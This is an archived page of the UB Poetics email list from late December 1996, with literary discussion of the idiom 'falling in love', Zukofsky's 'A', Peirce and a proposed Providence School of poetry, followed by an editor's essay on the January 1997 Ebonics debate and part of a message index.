Any "new metapoetics" would have to show a more complete absorption & reflection of these opposing tendencies (art & anti-art; beauty & "truth"). - Henry Gould

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626. **Susan Wheeler**
query followup
Fri 27 Dec 1996

Many thanks, Henry and George -- I did mean the sense of misuse in which Pound mis-translated, and the Crane is very helpful. I've been trying to land something in Stevens (it's sometimes clearer in the prose, natch) but he seems meticulous -- any Olson? Contemporaries?

I learn so much from this list -- and it's appreciated. Regards.

Susan Wheeler
37 Washington Square West Apt. 10A
NY NY 10011
phone/fax [redacted]
[redacted]

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627. **Ron Silliman**
Russians, Americans
Sat 28 Dec 1996

Henry,

Parallels between Russia and "America" (or, more particularly, white America) have to do with the fact that both states' cultures have important European influences about which each feels uneasy (to say the least), that their land base is vast, their history in this century largely imperial, and that "state" each contains many national minorities for whom there has been much bad history and bad consciousness. The shear size of those land masses means, for example, that SF is closer to Vladivostok than it is to NYC, so that any idea of a cultural "center" for either nation is ultimately an impossibility (an irony that appears lost on all cultural centralists, such as Bill Bennett, not just on New Yorkers and Muscovites).

I agree with you on the need (even desparate need) for a "theory" (to call it that) for writing that is, as you suggest, post-Language. What would it entail? What would it need to address? I would think that the functioning of society in an epoch in which capital has clearly not just seized the state (it always did that) but has more or less now transcended it as well. What does it mean to write in a post-state capitalism?

All best,

Ron

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628. **steph4848**
Re: Falling in love
Sat 28 Dec 1996

The OED, which I recommend to all, and especially to Harold Bloom, has two pre-Rosalind examples of falling in love (one of which is from Shakespeare), to wit:

"1530 Palsgr. 544/2, I shall fall in love with her. 1591 Shaks. Two Gent. I. ii. 2 Would'st thou then counsaile me to fall in loue?"

I suspect that the phrase derives from the French, but I don't have a good enouggh French dictionary at hand to know for sure.

It's Bloom's MO to make extravagant and questionable statements. What does he build on this one? And does anyone know who or what "Palsgr." stands for?

By the by, this is my first communication with the list, so welcome to me!

Mark Weiss

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629. **Jerry Rothenberg**
Re: Falling in love
Sat 28 Dec 1996

---

for Mark Weiss, by way of greeting, etc.

The Palsgr in question must be John Palsgrave, who wrote an early instructional book on French grammar (dated in fact as 1530), so that the "falling in love" bit is likely from that. The work is apparently of some interest for what it tells about English during that time -- as much, say, as the French side of it. So your French conjecture may have some connection.

Okay & best wishes to Margaret -- tho that kind of greeting I can give you by phone.

Jerry Rothenberg
[redacted]

↑ Index

630. **Eliza McGrand- CVA Guest**
Re: Falling in love
Sun 29 Dec 1996

---

welcome oh clever mark!

your acuity has spurred me -- i wonder if there are any chaucerian usages? my bet would be wife of bath for love... don't have concordance here. e

↑ Index

631. **Peter Quartermain**
EH or Uh
Sun 29 Dec 1996

Sorry to come in so late flogging this by now utterly dead horse yet again, but I have a mea culpa, yes, to fess up.

At 04:52 PM 12/22/96 -0500, Rob Hardin wrote, in response to my own intuitive leap that
>>Is it also worth noting that, _A_ or "A", the title is pronounced as a
>>schwa, UH?
as follows
>I didn't know that. What is the source of your pronunciation info?

well now. I have no authority, I must confess, save tapes of LZ reading the opening line of "A" and my own pronunciation of it. But the opening line is not, as you say (imply), the title. Mea culpa. LZ hisself, when referring to individual sections of the poem, always indeed pronounced it EH not UH. And I think the same goes for his mentions of the poem's title.

But I like the point that schwa points to An rather than the rest of the alphabet (but LZ also played with the notion that the poem runs A to Z [just as Zinnia in _80_Flowers _runs Z to A] and included an alphabet in "A"-23 [or was it 22? I can't remember, and am too lazy to go look).

It's the isolate A what gets the stressed length. Somewhat along the lines of Duncan's The as in Tree the as in nut?

I like LZ's ambiguous duplicitous or bipolar play of pronunciation here, actually.

But I can't resist adding that in LZ's correspondence with Cid Corman, and I seem to recall in his notebooks as well, he made extensive if not heavy weather of the value of those quotes around the A as images of the horns on the ox's head.

He too, of course, played extensively with the title, and indeed why not. But it was for him (so far as I can tell) and certainly for me, "A". It's a pretty good label for the poem.

Peter

+ +

Peter Quartermain
128 East 23rd Avenue
Vancouver
B.C.
Canada V5V 1X2
Voice and fax: [redacted]

+ +

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632. **Chris Stroffolino**

Re: POETICS Digest - 27 Dec 1996 to 28 Dec 1996

Sun 29 Dec 1996

---

dear mark weiss and jerry rothenberg--
thank you for your informational responses to the 'falling
in love' question---a phrase that no doubt means something different in
post-state capitalism.....
i wonder if the stock market will ever

fall
in love.....
c

↑ Index

633. **Pierre Joris**
Re: Falling in love
Sun 29 Dec 1996

The French connection via Palsgrave seems most likely, especially as "to fall in love" is the literal translation of "tomber amoureux."

& welcome to Mark,

Pierre
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

Reality is escape. The rusty junk
of fervent highways soothe the mind
into self-consoling slumber. The real
real is intimate, hard to find,
locked & released at once in thought,
beyond the touch of poignant imagery.

Robert Kelly ⍰ Ode 16
==========

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634. **Ken Edwards**
Re: Tom Meyer
Sun 29 Dec 1996

Pierre sd: "BTW a good essay (& there are very few anyway) on Meyer's work bic Mottram came out in 1985 from Reality Studios as RS Occasional Paper # 2 . Ken Edwards could tell us if it's still in print."

No, not in print, but if anyone's seriously interested I could snail-mail a photocopy.

A happy new year to all listers,

Ken

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635. Rachel Loden
falling in love
Sun 29 Dec 1996

Chris Stroffolino wrote:

> *i wonder if the stock market will ever*
> *fall*
> *in love.....*

I don't know about that, but it "swoons" a lot on NPR.

And they constantly say that gold had "its morning fix" and "its afternoon fix."

Rachel Loden

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636. Kurt Nimmo
Story Problems: Poems by Kurt Nimmo
Sun 29 Dec 1996

I have published a new collection of poems. If you are interested in looking at them, the URL is:

http://www.cruzio.com/~png/problems.htm

Please keep in mind that this site needs a JavaScript enabled browser in order to work correctly. If you are using Netscape 2.0 or above, you should not experience any problems. The pages will not be viewable by AOL's online broswer.

have a happy new year,

Kurt

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637. George Bowering
Re: EH or Uh or Ah
Sun 29 Dec 1996

I sometimes have thought that Zuk put the quotation marks around the A in order to screw up those profs and others who are trying to keep track of the idea that you refer to short works with " " and to longer works with italics. This being a longer work (!), profs etc will be curling their toes.

I once title a book with a word you are supposed to put into italics, just to see how people would indicate it in their reviews, etc. I cant remember what happened.

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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638. **manny savopoulos**
Fw: DIASPORA LITERARY JOURNAL
Sun 29 Dec 1996

> From: [redacted]
> To: ted <[redacted]>; artemisvallianatos <[redacted]>;
andrew <[redacted]>; rafaelsalinas <[redacted]>; mannys.
<[redacted]>; janetdeleon <[redacted]>; vasilikisereti
<[redacted]>; rebeccaneedler <[redacted]>;
[redacted]; [redacted]
> Subject: DIASPORA LITERARY JOURNAL
> Date: Saturday, December 28, 1996 9:43 PM
>
> This is a partial email list I have compiled. Eventually, the list will
grow
> to include others as well.
>
> If you know of anyone else who would appreciate their name on this type
of
> list, please email me their address.
>
> In the meantime, please forward the following trailer to everyone who
would
> remotely consider the DIASPORA LITERARY JOURNAL.
>
>
>
> The Diaspora Art and Literature Foundation is a not-for profit

organization
> which puts out a quarterly literary journal. Our next issue is due out
in
> March.
>
> The submissions and the paper they are written on remain property of the
> diaspora literary journal. however, you do maintain the right to submit
your
> work elsewhere. This is a fundamental right you maintain as a writer;
Unless
> you sign a contract, I nor anyone else can restrict you from submitting
the
> sme piece of work to 1000 other magazines like ours. However we still
> maintain the right to print it if you've sent it, even if you don't want
it
> printed.
>
> We recieve a large amount of submissions and I guess that on, average, we
> accept about 40%-55% of the submissions we recieve. Our print date for
the
> third issue is end of March and we are looking for submissions no later
than
> January 20th. The only guideline we have is that we want you to send us
> whatever you think is good. we accept poetry, short shorts and short
> stories. We accept work in other languages, provided that they are
> accomapnied with a suitable English translation. Submissions can be
emailed
> to me at [redacted] or [redacted] or can be snail mailed to
the
> PO Box address listed further down.
>
> Payment is in copies. We just became not-for profit, at a tremendous
expense
> to us (I have a partner as well), and we can't afford anything except
payment
> in copies.
>
> a one year membership to the diaspora literary foundation entitles you to
4
> quarterly issues of the diaspora literary journal.
>
> Membership is $10.00 for the year.

>
> A check can be made payable to: Diaspora Art and Literature Foundation, Inc.
>
> mail to:
> Diaspora Literary Journal
> Suite 182
> 35-17 Ditmars Blvd.
> Astoria, NY 11105
>
>
> Below is a copy of our mission statement for you look over:
>
>
> The word "diaspora" is derived from two Greek words which when placed
> together roughly translate to mean "the sowing of seeds in a far-off place".
> Until recently, the term "diaspora" was used simultaneously by many
> nationalities to represent their dispersed relatives who had migrated
> throughout the world. However, as the century progresses to its end, many
> people find it difficult to trace their ancestry to a single place. Today,
> it is not uncommon to hear a statement such as "My mother is Jewish and my
> father is Colombian. My stepfather was German. I was born in Greece, and I
> moved to Dallas when I was three. I completed high school in Canada and
> university in Ireland. I now live in the Village and I..."
> Today's society is based on the concept of global nomadism. People shift
> from city to city, through countries and traverse continents. The concept of
> nationality becomes blurred - the situation causes people to take one of two
> roads. People either firmly or fervently identify themselves with one
> nationality or, they eschew the whole concept of nationality. Oftentimes,
> however, people become too wrapped up in denying or espousing this
> nationality that they shut themselves off to others' ideas. On the eve of
> the 21st century the word "diaspora" must come to take a different

meaning.
> "Diaspora" is no longer a people or a place. "Diaspora" is the attempt
of
> modern persons to try to relate to others and the world around them.
> "Diaspora" is the sowing of one person's ideas in the rockiest of
terrains:
> other people's minds.
> It is in this light that we the editors present this publication in an
> attempt to further others' art. What we try to present transcends all
> nationality, religion, race, creed and language. The Diaspora Literary
> Journal presents the hope, experiences and angst of artists of different
ages
> and nationalities in several languages. This journal, is, in other
words,
> our diaspora...
>
> We, the editors would appreciate any comments you may have.
>
> Thank you for your time and effort.

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639. **jarnot**
jim gustafson
Sun 29 Dec 1996

I'm writing an article/obituary about Detroit poet Jim Gustafson for the Poetry Project Newsletter and would appreciate it if anyone on this list could give me information about him. Please backchannel me at [redacted]. Thanks, Lisa Jarnot

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640. **henry gould**
Re: Five times forever and you'll never get lost
Mon 30 Dec 1996

On Fri, 27 Dec 1996 16:27:46 -0400 Jordan Davis said:
>Why is aestheticism a blinker?
>Do you all ride horses or something?

I don't think I said it was a blinker - I was trying to characterize (in my usual crude simple way) ONE aspect of Chas. Olson's view of Pound: that his perspective was narrowed by a dependence on classical/Greek aesthetics - that Olson himself was aiming for something more "primordial". - HG

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641. **henry**
Re: Russians, Americans
Mon 30 Dec 1996

On Sat, 28 Dec 1996 05:05:54 -0800 Ron Silliman said:
>
>I agree with you on the need (even desparate need) for a "theory" (to
>call it that) for writing that is, as you suggest, post-Language. What
>would it entail? What would it need to address? I would think that the
>functioning of society in an epoch in which capital has clearly not
>just seized the state (it always did that) but has more or less now
>transcended it as well. What does it mean to write in a post-state
>capitalism?

These are big questions, & I'd like the whole list to jump in here this Monday morning & hep answer them. I am still reading Epstein's AFTER THE FUTURE - he's got a chapter on what he calls "transculture" which he compares with multiculturalism in the west - also what he calls "culturology" (which seems to be a subcategory of sociology or anthropology focusing on "culture" as a unitary phenomenon). I'm just beginning to glance into these sections of the book - but he seems to have an optimism directly counter to that new book by historian Samuel Huntington which is getting a lot of play right now - can't think of the title - which warns of coming wars between "civilizations" & cultures rather than states...

These issues are most certainly pertinent to poetics. I'm not so sure we desperately need another global theory of writing, however. Well, it would probably be interesting - but MORE interesting to me is a narrower focus on poetry. I'd like to help promote a new "school" of poetry. What makes Black Mountain & the objectivists & the Language "school" & the NY "school" interesting is that it's a messy combination of theory (more or less) with real distinctive practice. The practice preceded & underwrote the PR (& theory).

The Providence School of poetry would be clustered not so much in a place as in a worldview - metaphysics prior to language. Cosmic order as a hypothesis underlying human freedom/disorder. Would differentiate itself from other poetries, not devalue them (would draw from them). Would draw from philosophical sources in CS Peirce & David Bohm to propose an "integral" poetry & a "human" poetry. Would draw from both Russian metarealism & acmeism (as NY school, in an antithetical way, draws from surrealism & French poetry) the same philosophical grounding found in Peirce & Bohm - that reality is complex, real, & human/metaphysical - a metalanguage of signs, not a reductive relativistic "text". In this sense the Providence School is "serious" where NY School is "surreal"; the Providence School is "realist" (there are "real

general intellectual phenomena") where the Language School is "nominalist". The Providence School is responsive to tradition in both poetry & philosophy where other schools are oppositional. This is because the Prov School accepts new interpretations of humanism which are rejected by postmodernism. The world of medieval, renaissance & baroque poetry is not rejected on behalf of archaic or futuristic enthusiasms - it is absorbed. The serious complexity underwriting the Providence School is, however, a thousand times closer to Objectivists, Blck Mtn, Language, NY School, than it is to the bland prose-as-poetry lyrical meditations of "mainstream" US poetry. Carl Rakosi's interview in the latest APR would be a good intro to a ground base of agreements with the Prov school & a jumping-off place. Rakosi rejects both mainstream lyricism & surrealism; he criticizes (while honoring) language poetry as a "dehumanization" of speech. He characterizes Objectivism in a negative way - as a cleaning out of sentimentality & phony lyricism & dead cliche. For the Prov School this is a good start - but its philosophical leanings aim for wider correspondences between concepts, traditions, & forms. Rakosi also describes the poems of his own he likes as successful integrations of idea, thought, feeling, style. This is also a very good approach to what I mentioned above as "integral poetry". The Prov School draws from David Bohm the concept of "wholeness" - that the universe exhibits a marvelous infolding & unfolding of covalent & interwoven "wholenesses" & that the integral work of art displays both wholeness & interconnection. This may sound like a harking back to "organicism" but anyone who sets up to form an aesthetic "school" must reckon with the issue of the art work as an entity.

Finally - the Providence School might address some of the political issues you raise, Ron, by way of its "universalism". It's a humanism which is inherently transcultural. & I happen to believe that the world domination of capital over state which you describe is temporary. There is always the potential, in the next century, for the rule of law to transform social relations - both to establish a "level playing field" and to set ground rules for livable & free communities. This will take good will, persistence, & vision - but I don't put it past the human race - that is, it's achievable.

Has anybody written anything on this list so pretentious & outrageous? I deserve a medal & a bronx cheer! - Henry Gould

ps I know people will jump all over these valuations of both NY School & language school. It will be argued, & with good reason, that the efforts of language poets were a quintessential human & political act - by restricting poetry to text-language they revealed the "silence" or silencing at the core of mainstream rhetoric. Also there is nothing more humorously human & surrealistically expansive & lovely than the NY school. As I said above, the Prov

School is based on a metaphysics, not a language theory - & it differentiates from, rather than devalues, these other schools.

ha ha ha !!! holy godawful spumoni - Happy New Year, dear titanic listers!!

↑ Index

642. **Jordan Davis**
where they go to make sense
Mon 30 Dec 1996

Henry == I admit I get nervous when anybody says 'aestheticism' == which rings like a broken pot when it is struck == haven't the connotations of 'love of the pretty' overruled the denotation of 'study of the beautiful'? == or as Ron Silliman once wrote 'What is a positive definition.' == if these works are whole objects they are broken objects == or are about to be ==

Ron == We've got your theory _right here_ == J

↑ Index

643. **henry**
Re: where they go to make sense
Mon 30 Dec 1996

As I understand it (in a very beginner way), toward the end of his life CS Peirce was shaping his philosophy in a way that made ethics dependent on aesthetics. (Though this kind of bald statement is inherently confusing. Within the "architectonic" of his philosophy it was so; in the ordinary conduct of life, of course, it was the reverse.)

How? In the end, for Peirce, behavior & morality came to be based not on human standards; human standards or ideals were themselves transformed in their foundation by what Peirce (he was an inveterate word-coiner) called "musement": he felt that persistent contemplation could lead the mind naturally - by way of beauty (aesthetics) - to a kind of "hypothetical", future-oriented faith in cosmic love, or a benign divinity transcending human representations.

These speculations (unprovable or absurd to the "positivist" skeptic) were so to speak tentative conclusions Peirce drew from his prior perspectives on "realism" (the real existence of general classes of things in a real physical/metaphysical cosmos - a coherence); his belief that mind and nature were co-extensive, on a continuum (he call it "synechism" - a kind of synthesis-through-a-continuum); & his explorations (discoveries) in semiotics - his sense that reality is a sign system, a metalanguage. - Henry Gould

(p.s. stay tune to channel 99.2456 WHEW for my program "Transcendental Floss for Today's Busy Shopper", Sundays at 4 am. & beware the leaven of the fair-haired seers.)

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644. **Jordan Davis**
where the flood waters soak their belongings
Mon 30 Dec 1996

At 12:56 PM 12/30/96, henry wrote:
"musement": he felt that persistent contemplation could lead
>the mind naturally - by way of beauty (aesthetics) - to a kind of
>"hypothetical", future-oriented faith in cosmic love, or a benign
>divinity transcending human representations.
>
>...his belief that mind and nature were co-extensive, on a continuum (he
>call it "synechism" - a kind of synthesis-through-a-continuum); &
>his explorations (discoveries) in semiotics - his sense that reality
>is a sign system, a metalanguage. - Henry Gould

All right, then: what exactly is this 'divinity' but some part of nature that is _not_ co-extensive with 'mind'? Some way of acknowledging that although human life is part of nature, it is not _all_ of nature. Great. But why assume this divinity is messianic? Or == why presume that the signs are always/ever _legible_? (Hint: beauty ((meaning)).) I think this 'forest of symbols' you're proposing is no more than another nominalism that wants to see people where people are not. The kitsch of names. Or == we can offer you Growth _or_ Value, you just have to participate.

Mutual fund economy,
Jordan

↑ Index

645. **Henry**
Re: where the flood waters soak their belongings
Mon 30 Dec 1996

On Mon, 30 Dec 1996 14:10:15 -0400 Jordan Davis said:
>
>All right, then: what exactly is this 'divinity' but some part of nature
>that is _not_ co-extensive with 'mind'? Some way of acknowledging that
>although human life is part of nature, it is not _all_ of nature. Great.
>But why assume this divinity is messianic? Or == why presume that the signs
>are always/ever _legible_? (Hint: beauty ((meaning)).) I think this 'forest

>of symbols' you're proposing is no more than another nominalism that wants
>to see people where people are not. The kitsch of names. Or == we can
>offer you Growth _or_ Value, you just have to participate.

Not sure I follow you all the way here, Jordan - but I think another word (maybe) coined by Peirce was "panentheism". In pantheism, Nature = Mind. In panentheism, Mind suffuses nature, but is not contained by it. It is what he calls a "Third" - the mediating, organizing, synthesizing aspect of reality. In other words, for Peirce it was just the reverse of what you outline above in 1st 2 sentences.

On yr question "why assume this divinity is messianic" - I don't know what "Peirce would say". But maybe he would say that human self- consciousness is also an aspect of this "thirdness" - that Mind is our share of the divine image - & that the "just" mind also displays "heart", an equability or equanimity or justice which is the essence of (moral) beauty (& "on a continuum" with the physical order).

But though Peirce could be considered the ultimate New England "village explainer", in NO WAY was he an expositor of certainties or final truths. Peirce was the founder of both pragmatism & his own offshoot "pragmaticism", a scientific practice based on notions of human fallibility, skepticism, the need for experiment, & the search for common ground in results. Divinity was a hypothetical beyond our representations.

Moo-cow economy,
Henry

↑ Index

646. **Jordan Davis**
where they sell antique food
Mon 30 Dec 1996

Well I guess what I'm wondering then Henry is what the triumvirate of mind - divinity - representation is up to these days. And whether we oughtn't think of each of them as 'co-extensive' with each other.. to the point of equivalence.. to the end of the world..

1096,
J

↑ Index

647. **daniel_bouchard**
Re: falling in love
Mon 30 Dec 1996

Chris Stroffolino wrote:
> i wonder if the stock market will ever
> fall
> in love.....
I don't know about that, but it "swoons" a lot on NPR.
And they constantly say that gold had "its morning fix" and "its afternoon fix."
Rachel Loden

___

Not to mention those reports are sometimes sponsored by Archer Midland Daniels which has its own armorous ideas of the market and a "fix"

[redacted]

↑ Index

648. **henry gould**
Re: where they sell antique food
Mon 30 Dec 1996

On Mon, 30 Dec 1996 15:24:12 -0400 Jordan Davis said:
>Well I guess what I'm wondering then Henry is what the triumvirate of mind
>- divinity - representation is up to these days. And whether we oughtn't
>think of each of them as 'co-extensive' with each other.. to the point of
>equivalence.. to the end of the world..

Peirce organized everything in triads. The logic of the mind by point, line and plane.

What can we say about the triumvirate? We can philosophize about divine love, for the same reason the scholastics wrote theology & metaphysics, because it can be fun, & soothing to reason about the order of things, but that's not why I'm a poet or been a poet doggedly for a long time. I was a 98-lb. garden-variety agnostic (like we all are most of the time) until I experienced the uncanny stroke of divine/human justice about 21 yrs ago. I've written about it more fully (but not completely) in GLASS OF GREEN TEA, the book for Edwin Honig, so you'll have to go there for the story. Let's just say I was once a young proto-NY school poet-ephebe-as-Dr.-Faustus who found himself shaking on his knees alone at midnight, when there came (literally) a knock on the door. I've spent most of my life trying to understand that knock, and it doesn't reduce either to a mechanistic universe or the free play of signifiers. - Henry Gould

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649. **William Slaughter**
Mudlark No. 4
Mon 30 Dec 1996

Announcing Mudlark No. 4

_____

A CONVERSATION WITH MARTIN HEIDEGGER

An original poem in English by Van K. Brock
with a translation into German by Josef Pesch

Brock is founding editor of INTERNATIONAL QUARTERLY
and author of UNSPEAKABLE STRANGERS (Anhinga 1995),
Holocaust poems. Pesch is doing his "Habilitation"
project on Post-Apocalyptic North American Writing
at Albert-Ludwigs-Universitat Freiburg.

An early review of the Brock/Pesch/Heidegger issue:

"I just finished reading Van Brock's 'A Conversation with Martin Heidegger,'
and indeed, it made me 'blush down to my scars, / those old concealments....'
Reconciling my fondness for Heidegger's philosophical works with my distaste
for his personal politics has been a source of anxiety for me, and the grim
beauty and quasi-elegiac sadness of Brock's poem touched the nerve of that
long distress. Yet the emotion of the poem centers not so much on mixed
feelings about a particular philosopher, but more on the broader and subtler
hypocrisies of our own lives and work. Perhaps this reorienting constitutes a
step forward in the debates over Heidegger. I don't know. I do know that only
poetry -- in these times, at least -- could so affect my philosophy. Thanks for
putting good words on the wires. -- Richard Carr

William Slaughter

_____

MUDLARK
An Electronic Journal of Poetry & Poetics
Never in and never out of print...
E-mail: [redacted]
URL: http://www.unf.edu/mudlark

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650. **George Bowering**
Re: westerns, odds & ends...
Tue 31 Dec 1996

> *and hey: i think van kilmer's doc pretty much makes *tombstone*, is the centerpiece of that film... i savor every moment he's onscreen---really quite something, how he plays that homoerotic angle,*

Yeah, I didnt know who that was that played Doc H., but I liked that movie a lot, better than the other one with whatsisname, the guy who played in Water World. I loved that scene in which Doc H. and the scary bad guy are in the bar, dissing each other in Latin, and some galoot thinks they are speaking Spanish. (I guess your es-vice president would have thought so, too).

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

651. **Patrick Foley**
Re: westerns, odds & ends...
Tue 31 Dec 1996

> *and hey: i think van kilmer's doc pretty much makes *tombstone*, is the centerpiece of that film... i savor every moment he's onscreen---really quite something, how he plays that homoerotic angle,*
>
> *Yeah, I didnt know who that was that played Doc H., but I liked that movie a lot, better than the other one with whatsisname, the guy who played in Water World. I loved that scene in which Doc H. and the scary bad guy are in the bar, dissing each other in Latin, and some galoot thinks they are speaking Spanish. (I guess your es-vice president would have thought so, too).*

Now that it's coming down to voting, I'll add mine. I loved the whole approach, Baudelaire with a six-shooter. Another great line in the bar is when some drunk asks him to play "Swanee River" or anything at all by Stephen fuckin' Foster, which Doc refuses to do. Asked a moment later what he's playing, he responds: "It's a noctuhn ... you know ... Frederic fucking Chopin."

While we're back on this subject, there's something special about this story and "Tombstone" handles it really well. When they're all out chasing down the

Clantons & get caught in a crossfire, one of the deputies asks Doc why he's involved at all. "Wyatt Earp is my friend," comes the response. And the guy makes a joke -- "I have lots of friends", but Doc replies, "I don't." That's what I find interesting about this story, an American legend, the sort of stories that went into Williams's _In the American Grain_, the history you learn as a child, a great legend on that order, and at the center of it a friendship.

Pat

↑ Index

652. Chris Stroffolino
MLA GROUPIE QUERY
Tue 31 Dec 1996

Dear Poetics List People---
For those of us who didn't get to go the MLA,
I am VERY curious in particular about what happened
at the LAURA RIDING panel that allegedly Lisa Samuels,
Barrett Watten and even the founder of this list were on.
What was said? By whom? How's the "canonization" going?
What sides of Riding are being emphasized?
Is she being "l=a=n=g=i=f=i=e=d?" or if not what?
Maybe somebody would like to say something here
(for those of us who didn't get to the MLA)
and when is that DICTIONARY OF RATIONAL MEANING
(well, the part that's finished, coming out?)
Chris Stroffolino

↑ Index

653. Chris Stroffolino
WCW QUOTE---
Tue 31 Dec 1996

So, when William Carlos Williams writes---
"For if the poem set out to punish the wicked and
reward the virtuous, it had better be on the basis of
fulfilled love rather than unfulfilled" (SE 207)--
do you (dear open question interlocutor) agree?
What is the CONCEPTUAL distinction between grounding
an action in fulfilled love vs. non-fulfilled love?
On one level, I wanna say that WCW is being too restrictive...
not denying the validity or the possibility of unfulfilled
love as a basis for poetry, at least ocassionally, and

kinda takes some of the "poetic license" (that allows
for pain and despair, etc.) away--and is too ideal....
but then i think that can't be the real point here
because WHAT IS the difference between loves?
IS THERE really such a thing as "fulfilled love"?
And even if there IS such a thing (the love you take
is equal to the love you make), is it possible WCW's
really point here is more to question and challenge
the assumption that poetry should even PRESUME to
be apocalyptic--judgmental, to reward the virtuous
(i.e. those who like me are frustrated--the whole
christian guilt trip in which one is BETTER only to
the extent one is self-sacrificing, or martyred, or
BETTER only insofar as BITTER) and punish the wicked
(or the successful). That WCW is checking the reader's
urge to categorize people on a moral scale in the
first place. But, then, isn't he actually judging those
who judge too much? Can judgment really be done
away with that easily? I am skeptical (as you might
have guessed) and maybe the only way "out" of the
quandary (the "quary", the "wilderness of tropes" is
to judge judging, to damn damning, to hate hatred,
to have one's rice cake and eat it too, and accelerate
the process of meaning so it approximates meaningless
ness (a disclaimer on a meaning level--mere aesthetic
formal structural concerns) while at the same time
getting to be apocalyptic (kinda like Will Alexander's
ASIA AND HAITI, but other examples too).....chris s.

↑ Index

654. **main**

Re: WCW QUOTE---

Tue 31 Dec 1996

---

wcw:

"A poem is a capsule where we wrap our punishable selves."

judging judgment, wcw's capsule might look like a moebius strip.

dan featherston

↑ Index

655. **maria damon**
Re: patr-iarchy/onization
Tue 31 Dec 1996

Now for "best
> male"? Anyone?
>
> Kathrine

jean genet, anytime, anywhere, hands down.--md

↑ Index

656. **Charles Alexander**
Re: patr-iarchy/onization
Tue 31 Dec 1996

At 09:44 PM 12/31/96 -0600, you wrote:
> Now for "best
>> male"? Anyone?
>>
>> Kathrine
>
>jean genet, anytime, anywhere, hands down.--md

Are we speaking "all time" or 20th Century? I'm overwhelmed by the choices. Genet for you, but for me, even in France, Mallarme just for that throw of the dice & the book as spiritual instrument, or maybe Apollinaire, and even Proust I have to go back to every few years. I think I'll just go back to being overwhelmed. I don't think anybody wins hands down -- but up, perhaps?

ca

↑ Index

657. **maria damon**
Re: Query
Tue 31 Dec 1996

In message <[redacted]> UB Poetics
discussion group writes:
> Susan,
> this may not be exactly what you're looking for, but Lee Edelman wrote
> an interesting book on Hart Crane's rhetoric called _Transmemberment of
> Song_ (Stanford UP, 1987. isbn 0804714134). She analyses his work through
> the lens of a set of tropes characterized by intentional distortions -

> links it up to the engineering theme in The Bridge (literally twisting
> it into shape).

for what it's worth, lee edelman is a male type person. crane is a neologist;--
"irrefrangible" or some such, don't have my book in front of me --is that what yr
after susan?--md

Can't recall the name of the major trope.... sheesh...
> help, anybody? It's a trope of exaggeration, distortion, etc. & while
> you're onto Crane, Paul Giles's book "Hart Crane: the Contexts of the
> Bridge" (Cambridge UP, 1986) has an incredible run-through on double
> meanings & puns in The Bridge.
>
> "Cheerios", Henry

↑ Index

@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

January 1997

780 messages · Wed 1 Jan 1997 – Fri 31 Jan 1997

On the twentieth of January a poet stood on the west front of the Capitol and read a poem to the president, the Congress, and the cameras of the world — the largest audience an American poem had that decade. This list, seven hundred and seventy-nine letters and the busiest month in the archive so far, raised a dozen about it, most asking who he was. Joe Amato opened on the ninth: *“anybody know anything ’bout miller williams’ work?”* Pat Pritchett had not heard either — *“Who’s gotten the nod this time? I haven’t heard”* — and David Kellogg thought he was from Arkansas, which he was. That is the whole of the room’s interest in the inaugural poem. It had something better on.

Because for the first time in the eleven months I have been reading this list, the news was about the list’s own subject, and the list came. On the eighteenth of December the Oakland school board had resolved that the English its pupils spoke was a language with a history, and by January the country was at war over it. Gabrielle Welford forwarded a letter got up by linguists, protesting that the Linguistic Society’s resolution supporting the board had gone unreported while the papers filled with *“mean-spirited and ignorant assertions”* that African American English was bad grammar and slang. James Brook posted the resolution entire, and beside it the Chronicle’s report that the board was about to gut it after three weeks in which *“everyone from Rush Limbaugh to Maya Angelou”* had weighed in.

The room had been waiting all year for this question without knowing it. It could not agree what avant-garde meant in March, or what a sonnet was in May, or where the West is in November; it spent June being begged not to define langpo. Now a school board had said in public that a way of speaking is a language, and the apparatus of American opinion had told it that it was not — and every instinct the list had was suddenly relevant. William Marsh went to Emerson and got the month’s shortest true sentence out of him: *“today’s standard = fossilized slang”*. Susan Wheeler asked whether there is a gender-specific standard English, and whether it is easier to transgress than an ethnic one.

The best of it came from Bil Brown, who had been reading a while before he said anything. What people are calling Ebonics, he wrote — spelling it his own way, which is the argument — *“What ppl call IBONICs is what I call written poetry”*. He wondered whether what gets diagnosed as a learning disability might be a

way of associating that arrives early rather than late. He is making, from inside the practice, the case the linguists were making from outside it, in the very English under indictment, and nobody appears to notice that this is what has happened.

And then Jordan Davis did the thing that redeems the list. He posted the street address of the Oakland Unified School District — 900 High Street — and suggested people send books. He knew what it was worth: *"it's a somewhat empty patronizing gesture"*, he said, to be sure, but a teacher he knew had told him it helps. I have set the inaugural thread and the Oakland threads where January put them, eleven days apart, because this is the month poetry was given the west front of the Capitol and the room could not name the man holding it, while up the coast the actual argument about who owns English was being settled by a school board under national bombardment — and the most useful thing anybody here produced about any of it was an address you could post a parcel to.

— Kristen M. Fabians

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Writers, names mentioned, and concepts. Every number links to its message. 780 in all.

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476. Ron Silliman — quark this
477. Sherry Brennan — addresses
478. Pierre Joris — [Fwd: A modest proposal]
479. Douglas Barbour — Re: Closure & The Pastoral (another Chapter of *Ethics*)
480. maria damon — Re: oh, alright (clothing)
481. maria damon — Re: what gets taught
482. maria damon — (no subject)
483. Douglas Barbour — Re: tunes to keep yr head clear
484. Christopher Alexander — lilt
485. tmandel — A nest of ninnies
486. Keith Tuma — building bridges
487. Kenneth Goldsmith — Little Orphan Anagram
488. acgold01 — Mottram Conference
489. amato — Re: building bridges
490. steph4848 — Names & books
491. Tom Beard — reading, hearing, wearing
492. Pierre Joris — Re: Mottram Conference
493. maria damon — Re: ZON►S NEOLOGISMS
494. David Bromige — first tie-sporter?
495. duane davis — Re: Charles Bernstein's Crime
496. Pam Brown — Re: Closure & The Pastoral (another Chapter of *Ethics*)
497. Gabrielle Welford — Abolition 2000 '97 Conference WWW (fwd)
498. Gabrielle Welford — Urgent Action Bulletin (fwd)
499. maria damon — Re: reading, hearing, wearing
500. Gabrielle Welford — NCDAP Action Alert
501. Gabrielle Welford — Biogs of Contemp Women Poets
502. Gabrielle Welford — Re: Justice for Garment Workers II (fwd)
